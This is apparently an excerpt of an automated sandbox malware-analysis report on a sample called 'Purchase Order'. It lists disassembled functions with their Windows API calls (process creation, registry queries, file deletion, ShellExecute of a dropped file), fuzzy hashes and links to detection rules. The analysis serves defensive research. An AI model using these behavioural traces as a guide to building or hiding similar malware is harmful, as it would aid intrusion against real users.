API String ID: 1092082344-0
Opcode ID: f6133f0060067ae216a0a077ebe86ad3920cfc852d280aeddc091818d184f87e
Instruction ID: b8bc3f79dcbb40427391aad23e9a2a3a4e055ade3e5059820f7b6748c1a5a64e
Opcode Fuzzy Hash: f6133f0060067ae216a0a077ebe86ad3920cfc852d280aeddc091818d184f87e
Instruction Fuzzy Hash: 3131A2B29042109BDB10BF29EE8086A3BECF754756715823FE501B22E0C738DD52DB5E

Function 00402241 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004061FB: FindFirstFileA.KERNELBASE(75923410,00421580,C:\,00405A9A,C:\,C:\,00000000,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0), ref: 00406206
Part of subcall function 004061FB: FindClose.KERNEL32(00000000), ref: 00406212

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00402281
lstrlenA.KERNEL32(00000000), ref: 0040228B
SHFileOperationA.SHELL32(?,?,?,00000000), ref: 004022B3

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: 68b53b7b15cd5aa11021285071f00655329fa620989aceaac5983d704ca72be5
Instruction ID: 0317ded50e63044e70734c05992738adc8c04a0539f45c02fec05e083cfe155c
Opcode Fuzzy Hash: 68b53b7b15cd5aa11021285071f00655329fa620989aceaac5983d704ca72be5
Instruction Fuzzy Hash: 15113071E14219AACB10EFF5DA49A9EBAB8AF44314F14447FB100FB2C2D6BDC5418B69

Function 00401EB3 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405110: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00402D22,00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Part of subcall function 00405688: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421538,Error launching installer), ref: 004056B1
Part of subcall function 00405688: CloseHandle.KERNEL32(?), ref: 004056BE

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401EED
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EFD
CloseHandle.KERNELBASE(?,00000000,000000EB,00000000), ref: 00401F22

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: e995d9f419432ab23205a23d5c1414ada8c426ee2d3ef18cbb1adcd6d691f71f
Instruction ID: d3d55c0d0bbc33f725c23921dd181786adb59914180f86dd2947d51e8879a6ae
Opcode Fuzzy Hash: e995d9f419432ab23205a23d5c1414ada8c426ee2d3ef18cbb1adcd6d691f71f
Instruction Fuzzy Hash: 3C019231E04106EBCF20AF91CD49AAE7BB1EB40314F10807BF605B61E1C7794A859B9E

Function 004024F5 Relevance: 4.5, APIs: 3, Instructions: 46registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000004B9,00000000,00000022,00000000,?,?), ref: 00402C00

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402527
RegEnumValueA.ADVAPI32(00000000,00000000,?,?), ref: 0040253A
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsj39BE.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 05547f92edfa2ad71c40473a60083347d41093bd1c43fb3d169fc0aa66b556e7
Instruction ID: 11bb5dddaf85e4de06b60e46a4a286c6c0f73d8de59455db5a8421e4b605592f
Opcode Fuzzy Hash: 05547f92edfa2ad71c40473a60083347d41093bd1c43fb3d169fc0aa66b556e7
Instruction Fuzzy Hash: 5601DFB1A04201FFE7119F65AD88ABF7ABCDF40395F20003FF105A61C0D6B84A41966A

Function 00405DDE Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,00406023,00000000,00000002,?,00000002,?,?,00406023,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E07
RegQueryValueExA.KERNELBASE(?,?,00000000,00406023,?,00406023), ref: 00405E28
RegCloseKey.KERNELBASE(?), ref: 00405E49

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction ID: a5bfd4e994019c5e115080bbecddc2f5f1976c63067f757e38b3d402cdd28771
Opcode Fuzzy Hash: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction Fuzzy Hash: 5F014C7154020AEFDB118F64DD48EDB3FACEF14354B004036FA4596220D235DA64CBA5

Function 00405751 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405B45: GetFileAttributesA.KERNELBASE(?,?,0040575D,?,?,00000000,00405940,?,?,?,?), ref: 00405B4A
Part of subcall function 00405B45: SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405B5E

RemoveDirectoryA.KERNEL32(?,?,?,00000000,00405940), ref: 0040576C
DeleteFileA.KERNELBASE(?,?,?,00000000,00405940), ref: 00405774
SetFileAttributesA.KERNEL32(?,00000000), ref: 0040578C

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: ecb533084f054dec527d8ee4002c22eb7271b0964ed621fa894de998c2c2fbf7
Instruction ID: 95a73edef03a3fe4ea7fa24255aadd7873cdb690117aa2712c5123595e980fc6
Opcode Fuzzy Hash: ecb533084f054dec527d8ee4002c22eb7271b0964ed621fa894de998c2c2fbf7
Instruction Fuzzy Hash: F2E02B31108A9197C21067349D0CB5F6AD5EFC6314F044A36F991F31C1C73858069EBE

Function 00401E59 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing,?), ref: 00401E9F

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing, xrefs: 00401E8A

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing
API String ID: 587946157-2517315260
Opcode ID: 62972551e4f607768522ca5215d0e9555a819d9815caab0e71c71de7bb35adcf
Instruction ID: 7c51c884e7587c3efeb31cb3e5c9943a81f4090218bfe93557c80408bc49aec8
Opcode Fuzzy Hash: 62972551e4f607768522ca5215d0e9555a819d9815caab0e71c71de7bb35adcf
Instruction Fuzzy Hash: 58F0F671B14104BADB21ABB59F4AE6D2AA5DB81318F38043BF050F71C2D9FD8942DB28

Function 100027E8 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 100028A7
GetLastError.KERNEL32 ref: 100029AE

Memory Dump Source

Source File: 00000000.00000002.2762281649.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2762228322.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762310776.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762334808.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Purchase Order.jbxd

Similarity

API ID: EnumErrorLastWindows
String ID:
API String ID: 14984897-0
Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95

Function 00402FF0 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00409130,00000000,00000000,00000000,00000000,?,?,00402F9C,000000FF,00000000,00000000,00409130,?), ref: 00403015

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a1130b4f43b5ef58eef6a304646b232a08a6a9d0fa451b453d71d72267b47fb8
Instruction ID: 0c39837240ac6e21a4d945e0ab2cbfd2cf40700f690e74d620895d0cf024726c
Opcode Fuzzy Hash: a1130b4f43b5ef58eef6a304646b232a08a6a9d0fa451b453d71d72267b47fb8
Instruction Fuzzy Hash: 83316D30202219FFDB109F56EC85A9A3AACEB00355F20C53AF905E6195D339DE40EBA9

Function 00402483 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000004B9,00000000,00000022,00000000,?,?), ref: 00402C00

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004024B3
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsj39BE.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 842ccded7b04f1c996c394db29755cab0eaefbc32d4fd585d2de1ae204d8f70a
Instruction ID: 85d806923b24475f53c36965a20abc0d18f92dd5d526b72c5aa3047674b5102d
Opcode Fuzzy Hash: 842ccded7b04f1c996c394db29755cab0eaefbc32d4fd585d2de1ae204d8f70a
Instruction Fuzzy Hash: 7611C171A04205FFDB20CF60CA985AEBBB4AF00359F20443FE142B72C0D2B84A85DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6f3fd260d9a20665192313664cef065be83871c58b0681ff97f62226ed226405
Instruction ID: 8ec6bfb8ef4f3ff43576048fe9568e939b5e998f238dec90285f5c94a9fc96e2
Opcode Fuzzy Hash: 6f3fd260d9a20665192313664cef065be83871c58b0681ff97f62226ed226405
Instruction Fuzzy Hash: 2201F431B24210ABE7294B389E04B6A36A8F710314F11823BF911F66F1D7B8DC029B4D

Function 00402377 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000004B9,00000000,00000022,00000000,?,?), ref: 00402C00

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402396
RegCloseKey.ADVAPI32(00000000), ref: 0040239F

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: ce34e0a5a3cad0306182936bac4226b47a4e95e33cdd8971417c4bf24fbf648c
Instruction ID: 7cc126104223fee90c4482272470a44d0e33bb4baa6becb9c0b30a5ba769ccb5
Opcode Fuzzy Hash: ce34e0a5a3cad0306182936bac4226b47a4e95e33cdd8971417c4bf24fbf648c
Instruction Fuzzy Hash: 25F0A472A00111ABD720AFA09A8E9BE76B89B40344F24043BF201B71C0D5BD5D028769

Function 00402590 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 34stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004025B1

Strings

C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll, xrefs: 004025A2, 004025C7

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll
API String ID: 1659193697-869971619
Opcode ID: 9108d4ceed508d8a02313cc574e378f3b7a987aa5820872456f395d40ec67233
Instruction ID: 2bf8431ce51e6c58f43ec2947d6bdc143d6e81ddf8616a76c722d5425931f27b
Opcode Fuzzy Hash: 9108d4ceed508d8a02313cc574e378f3b7a987aa5820872456f395d40ec67233
Instruction Fuzzy Hash: 82F0E272A08244BACB20FBB55E4AA9F6AA4CBC1314B34403FF141B71C2C6BC4542DA2D

Function 00401A1E Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A31
lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A44

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: EnvironmentExpandStringslstrcmp
String ID:
API String ID: 1938659011-0
Opcode ID: 99ff6f7ebc29e3294f0bf96d9ec24245debac9b57580bca197066bfebfa759a6
Instruction ID: ab1dd0d9c5eb94bf9ce54f5104db011015230574e834771f483328ebd508fd9c
Opcode Fuzzy Hash: 99ff6f7ebc29e3294f0bf96d9ec24245debac9b57580bca197066bfebfa759a6
Instruction Fuzzy Hash: 9DF08271B05241EBCB20DF659D45A9B7FE8EFD1394B10843BE145F6190D2388541DA69

Function 00401E25 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E43
EnableWindow.USER32(00000000,00000000), ref: 00401E4E

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 36dcea6e1d224af34142dbcc53fa3142b8bf20b1b5b4f1e3402a8bbf529d307d
Instruction ID: 6bc854546bde8c1d97c50108fc272036e6fafce41083740c3c393c21766323e0
Opcode Fuzzy Hash: 36dcea6e1d224af34142dbcc53fa3142b8bf20b1b5b4f1e3402a8bbf529d307d
Instruction Fuzzy Hash: 2BE012B2B08211BFEB14EFB4E9895AE7BB4EF40325B20403BE401F11D1D67D59419B59

Function 0040156F Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000), ref: 00401581
ShowWindow.USER32(0001043C), ref: 00401596

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
